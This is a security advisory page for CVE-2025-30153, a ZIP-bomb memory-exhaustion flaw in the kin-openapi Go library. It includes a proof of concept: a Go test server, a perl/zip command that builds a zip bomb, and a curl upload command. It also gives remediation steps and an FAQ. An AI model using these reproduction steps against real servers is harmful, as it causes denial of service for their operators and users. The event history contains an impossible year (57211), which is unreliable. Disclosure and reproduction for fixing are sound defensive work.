CVE-2025-30153: Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter

Published Mar 19, 2025
·
Updated

Summary

When validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.

Details

The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says.

PoC To reproduce the vulnerability, you can use the following OpenAPI schema: yaml openapi: 3.0.0 info: title: 'Validator' version: 0.0.1 paths: /: post: requestBody: required: true content: multipart/form-data: schema: type: object required: - file properties: file: type: string format: binary responses: '200': description: Created And this code to validate the request (nothing fancy, it basically only calls the openapi3filter.ValidateRequest function): go package main

import ( "fmt" "log" "net/http"

"github.com/getkin/kin-openapi/openapi3filter" legacyrouter "github.com/getkin/kin-openapi/routers/legacy"

"github.com/getkin/kin-openapi/openapi3" )

func handler(w http.ResponseWriter, r http.Request) { loader := openapi3.NewLoader()

doc, err := loader.LoadFromFile("schema.yaml") if err != nil { http.Error(w, "Failed to load OpenAPI document", http.StatusInternalServerError) return }

if err := doc.Validate(r.Context()); err != nil { http.Error(w, "Invalid OpenAPI document", http.StatusBadRequest) return }

router, err := legacyrouter.NewRouter(doc) if err != nil { http.Error(w, "Failed to create router", http.StatusInternalServerError) return }

route, pathParams, err := router.FindRoute(r) if err != nil { http.Error(w, "Failed to find route", http.StatusNotFound) return }

input := &openapi3filter.RequestValidationInput{ Request: r, QueryParams: r.URL.Query(), Route: route, PathParams: pathParams, }

if err := openapi3filter.ValidateRequest(r.Context(), input); err != nil { http.Error(w, fmt.Sprintf("Request validation failed: %v", err), http.StatusBadRequest) return }

w.Write([]byte("request ok !")) }

func main() { http.HandleFunc("/", handler) log.Fatal(http.ListenAndServe(":8080", nil))

}

We also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive: shell perl -e 'print "0" x 5000000000' > /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt

Run the PoC provided, and upload the zip bomb with curl localhost:8080/ -F file="@/tmp/bomb.zip;type=application/zip" -v.

Observe the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.)

Impact

An attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance. It seems to only be exploitable if the OpenAPI schema allows for multipart upload.

Remediation

I see at least 2 potential fixes/improvements: - Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?) - Update ZipFileBodyDecoder to enforce a maximum size of the decompressed archive and bailout as soon as it's reached (probably with a small default value and allow the users to configure it through the input options ?)

Other sources

kin-openapi is a Go project for handling OpenAPI files. Prior to 0.131.0, when validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory. The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says). This vulnerability is fixed in 0.131.0.

— MITRE

Affected Software

2 affected componentsFixes available
getkin kin-openapi<0.131.0
go/github.com/getkin/kin-openapi<0.131.0
0.131.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/getkin/kin-openapi to a version that resolves this vulnerability.

    Fixed in 0.131.0
  2. Upgrade

    Upgrade github.com/getkin/kin-openapi/openapi3filter to a version that resolves this vulnerability.

    Fixed in 0.131.0
  3. Configuration

    Do not register ZipFileBodyDecoder by default (the root cause is that ZipFileBodyDecoder is automatically registered by the module, contrary to documentation).

    ZipFileBodyDecoder registration (openapi3filter) register_by_default = false

Event History

Mar 19, 2025
CVE Published
via MITRE·04:03 PM
Data Sourced
via MITRE·04:03 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:15 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·06:12 PM
Aug 18, 57211
Event
via FIRST·11:34 AM

Frequently Asked Questions

1

What is the severity of CVE-2025-30153?

CVE-2025-30153 is considered a critical severity vulnerability due to its potential to cause denial of service by exhausting system memory.

2

How do I fix CVE-2025-30153?

To fix CVE-2025-30153, ensure you upgrade to kin-openapi version 0.131.0 or later, where this vulnerability has been addressed.

3

What type of vulnerability is CVE-2025-30153?

CVE-2025-30153 is a denial of service vulnerability that arises from improper handling of multipart/form-data requests in OpenAPI validation.

4

Who is affected by CVE-2025-30153?

Users of kin-openapi versions prior to 0.131.0 are affected by CVE-2025-30153.

5

What attack vector is exploited in CVE-2025-30153?

CVE-2025-30153 can be exploited by uploading a specially crafted ZIP file, which could lead to a ZIP bomb scenario.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203